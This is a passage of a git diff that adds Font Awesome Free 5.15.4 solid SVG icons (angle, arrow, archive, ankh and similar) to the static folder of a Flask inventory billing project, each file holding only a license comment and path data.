MIT License) --><path d="M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-down.svg new file mode 100644 index 00000000..39bdcb2f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-left.svg new file mode 100644 index 00000000..49312dac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-right.svg new file mode 100644 index 00000000..77bed0a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-up.svg new file mode 100644 index 00000000..35eb0199 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-double-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-down.svg new file mode 100644 index 00000000..550169b8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-left.svg new file mode 100644 index 00000000..37a7c913 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-right.svg new file mode 100644 index 00000000..1426564d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-up.svg new file mode 100644 index 00000000..0f6f8afd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angle-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angry.svg new file mode 100644 index 00000000..2ccaef03 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/angry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ankh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ankh.svg new file mode 100644 index 00000000..6ad0c4fb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ankh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/apple-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/apple-alt.svg new file mode 100644 index 00000000..39c69143 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/apple-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archive.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archive.svg new file mode 100644 index 00000000..f7923f25 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archive.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archway.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archway.svg new file mode 100644 index 00000000..5008bba9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/archway.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-down.svg new file mode 100644 index 00000000..3cc61f6b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-left.svg new file mode 100644 index 00000000..f88d4e17 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-right.svg new file mode 100644 index 00000000..4b880e26 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-up.svg new file mode 100644 index 00000000..c3fd9a6b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-alt-circle-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-down.svg new file mode 100644 index 00000000..ade99210 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-left.svg new file mode 100644 index 00000000..1f21c63a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-right.svg new file mode 100644 index 00000000..554d56f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-up.svg new file mode 100644 index 00000000..bde2eed7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-circle-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-down.svg new file mode 100644 index 00000000..bba5c65f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-left.svg new file mode 100644 index 00000000..e2706a6a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-right.svg new file mode 100644 index 00000000..44616d1e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-up.svg 